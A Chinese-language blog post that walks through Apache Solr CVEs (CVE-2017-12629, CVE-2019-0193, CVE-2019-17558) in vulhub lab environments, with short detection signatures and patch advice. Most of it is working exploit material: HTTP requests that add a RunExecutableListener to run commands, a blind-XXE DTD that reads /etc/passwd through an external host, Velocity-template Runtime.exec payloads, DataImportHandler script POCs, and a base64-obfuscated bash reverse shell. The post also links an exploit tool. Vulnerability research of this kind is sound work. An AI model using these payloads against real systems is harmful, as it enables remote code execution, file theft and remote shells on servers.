天天看點

Apache Solr漏洞總結

Apache Solr簡介

Apache Solr 中存儲的資源是以 Document 為對象進行存儲的。每個文檔由一系列的 Field 構成,每個 Field 表示資源的一個屬性。Solr 中的每個 Document 需要有能唯一辨別其自身的屬性,預設情況下這個屬性的名字是 id,在 Schema 配置檔案中使用:<uniqueKey>id</uniqueKey>進行描述。Solr是一個高性能,采用Java5開發,基于Lucene的全文搜尋伺服器。Solr是一個獨立的企業級搜尋應用伺服器,很多企業運用solr開源服務。原理大緻是文檔通過Http利用XML加到一個搜尋集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實作。它的主要特性包括:高效、靈活的緩存功能,垂直搜尋功能,高亮顯示搜尋結果,通過索引複制來提高可用性,提 供一套強大Data Schema來定義字段,類型和設定文本分析,提供基于Web的管理界面等。           

複制

漏洞彙總

Apache Solr漏洞總結

CVE-2017-12629 遠端指令執行漏洞

漏洞簡述

Apache Solr 是Apache開發的一個開源的基于Lucene的全文搜尋伺服器。其集合的配置方法(config路徑)可以增加和修改監聽器,通過RunExecutableListener執行任意系統指令。

漏洞影響版本

Apache Solr 是Apache開發的一個開源的基于Lucene的全文搜尋伺服器。其集合的配置方法(config路徑)可以增加和修改監聽器,通過RunExecutableListener執行任意系統指令。

Apache Solr < 7.1
Apache Lucene < 7.1
包括
RedhatSingle Sign-On 7.0
+ Redhat Linux 6.2 E sparc
+ Redhat Linux 6.2 E i386
+ Redhat Linux 6.2 E alpha
+ Redhat Linux 6.2 sparc
+ Redhat Linux 6.2 i386
+ Redhat Linux 6.2 alpha
Redhat JBoss Portal Platform 6
Redhat JBoss EAP 7 0
Redhat Jboss EAP 6
Redhat JBoss Data Grid 7.0.0
Redhat Enterprise Linux 6
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Redhat Collections for Red Hat EnterpriseLinux 0
Apache Solr 6.6.1
Apache Solr 6.6
Apache Solr 6.5.1
Apache Solr 6.5
Apache Solr 6.4
Apache Solr 6.3
Apache Solr 6.2
Apache Solr 6.6
Apache Solr 6.3
Apache Solr 6.0
ApacheLucene 0
           

複制

使用docker搭建的vulhub靶場

漏洞分析

RunExecutableListener類中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中執行任意指令

Apache Solr漏洞總結

使用了config API傳入add-listener指令即可調用RunExecutableListener

Apache Solr漏洞總結

漏洞攻擊主要特征

1) 端口:8983, http

2) 路徑是:/config HTTP/1.1

3) 載荷中必要特征是:

Content:update-listener或create-listener

Content:"event": "postCommit"(備選)

Content: "class":"solr.RunExecutableListener"

漏洞複現

1.啟動漏洞環境後通路 ip:8983

Apache Solr漏洞總結

2.首先建立一個listener,其中設定exe的值為我們想執行的指令,args的值是指令參數

POST /solr/demo/config HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 169

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","    args":["-c", "touch /tmp/cve-2017-12629"]}}           

複制

這裡的“exe”,“dir”,“args”内容也都可以通過http的方式傳入,是以在沒有通路控制的情況下任何人都可以通過該config API 達到任意指令執行的操作

Apache Solr漏洞總結

3.然後進行update操作,觸發剛剛添加的listener

POST /solr/demo/update HTTP/1.1
Host: ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 17

[{"id":"test"}]           

複制

Apache Solr漏洞總結

4.進入容器可以發現 /tmp/ ,目錄下已經成功建立了一個檔案

Apache Solr漏洞總結

如何進行防護

1.添加Solr通路控制,包括禁止本地直接未授權通路

2.針對RCE問題,由于涉及的是SolrCloud是以建議在所有節點中添加filter,進行相關過濾

CVE-2017-12629 XXE漏洞

漏洞簡述

Apache Solr是一個開源的搜尋伺服器。Solr使用Java語言開發,主要基于HTTP和Apache Lucene實作。原理基本上是文檔通過Http利用XML加到一個搜尋集合中

漏洞影響版本

Apache Solr < 7.1

Apache Lucene < 7.1

漏洞分析

這是一個典型的XXE漏洞的缺陷編碼示例,Lucene包含了一個查詢解析器支援XML格式進行資料查詢,出現問題的代碼片段在 /solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java 檔案中

Apache Solr漏洞總結

通過檢視調用棧中的資料處理流程,在調用lucene xml解析器時确實沒有對DTD和外部實體進行替換處理,造成了盲目XXE

Apache Solr漏洞總結

漏洞複現

1.先構造一個站點,放置dtd檔案(裡面寫要執行的代碼),然後用solr去包含這個dtd站點,就會自動讀取dtd檔案中的檔案路徑

構造dtd站點,這裡使用phpstudy搭建

建立一個1.dtd檔案,dtd檔案内容

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">           

複制

Apache Solr漏洞總結

由于傳回包中不包含我們傳入的XML中的資訊,是以這是一個Blind XXE漏洞。

通路solr服務,觸發我們的dtd檔案,浏覽器輸入如下payload,裡面的IP和檔案名稱根據實際情況修改,這裡solr的ip為192.168.239.170,檔案名稱是1.dtd (payload需要進行url編碼)

http://192.168.239.129:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.239.170%2f1.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser           

複制

Apache Solr漏洞總結
GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root[%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.50.167%2f1.dtd%22%3E%25ext%3b%25ent%3b]%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.50.248:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests:            

複制

Apache Solr漏洞總結

CVE-2019-0193 遠端指令執行漏洞

漏洞簡述

漏洞出現在Apache Solr的DataImportHandler,該子產品是一個可選但常用的子產品,用于從資料庫和其他源中提取資料。它具有一個功能,其中所有的DIH配置都可以通過外部請求的dataConfig參數來設定。由于DIH配置可以包含腳本,是以攻擊者可以通過構造危險的請求,進而造成遠端指令執行。

影響版本

Apache Solr < 8.2.0

Apache Solr 5.x - 8.2.0,存在config API版本

漏洞原理

該漏洞的産生是由于兩方面的原因:

當攻擊者可以直接通路Solr控制台時,可以通過發送類似/節點名/config的POST請求對該節點的配置檔案做更改。

Apache Solr預設內建VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定模版,預設設定是false。

當設定params.resource.loader.enabled為true時,将允許使用者通過設定請求中的參數來指定相關資源的加載,這也就意味着攻擊者可以通過構造一個具有威脅的攻擊請求,在伺服器上進行指令執行。

漏洞複現

使用docker搭建的vulhub靶場

1.建立名為test的Core

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db           

複制

2.搭建好後通路頁面。預設端口為8983

Apache Solr漏洞總結

3.選擇剛建立的 text 核心,直接構造POST請求,在/solr/test/config目錄下POST請求發送以下資料 (修改Core的配置)

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}           

複制

Apache Solr漏洞總結

3.使用EXP進行攻擊

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end           

複制

Apache Solr漏洞總結

4.成功執行系統指令

另一種執行指令的方法

1.選擇剛建立好的 test 核心,選擇 Dataimport 功能并選擇 debug 子產品,将以下POC填入(原來的删

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>           

複制

Apache Solr漏洞總結

2.點選 Execute with this Confuguration 執行POC,發送資料包

Apache Solr漏洞總結

3.執行POC成功後,進入docker容器,可以難倒 /tmp/success 已成功建立

Apache Solr漏洞總結

4.反彈shell

修改POC後,點選送出按鈕發送

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjE2Ny8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfi           

複制

成功反彈shell

Apache Solr漏洞總結

CVE-2019-17558 遠端指令執行漏洞

漏洞概述

Solr是Apache Lucene項目的開源企業搜尋平台。其主要功能包括全文檢索、命中标示、分面搜尋、動态聚類、資料庫內建,以及富文本的處理

Apache Solr 5.0.0版本至8.3.1版本中存在輸入驗證錯誤漏洞。攻擊者可借助Velocity模闆利用該漏洞在系統上執行任意代碼。

漏洞影響版本

Apache Solr 5.0.0 ~8.3.1

漏洞複現

1.通路漏洞環境 ip:8983

Apache Solr漏洞總結

2.預設情況下 params.resource.loader.enabled 配置未打開,無法使用自定義模闆。我們先通過如下API擷取所有的核心。可以先通過如下API擷取所有的核心 (在vulhub中核心就是demo)

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json           

複制

Apache Solr漏洞總結

3.啟用配置 params.resource.loader.enabled ,在url通路/solr/demo/config使用Burp抓包改成POST然後修改啟動配置 (然後把Content-Type修改成application/json)

後邊路徑如下:/solr/擷取的核心名稱/config

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true", 
    "params.resource.loader.enabled": "true"
  }
}           

複制

Apache Solr漏洞總結

4.通過Velocity模闆執行指令,如whoami。修改exec(%27whoami%27)中的代碼即可更改指令。使用如下指令

http://ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end           

複制

Apache Solr漏洞總結

5.成功執行系統指令

漏洞利用工具

下載下傳位址: (https://github.com/jas502n/solr_rce) python2的環境

Apache Solr漏洞總結
Apache Solr漏洞總結

修複建議

1、更新到 Apache Solr 8.4或更高版本;

2、配置安全組,僅允許可信網絡流量通路Solr服務。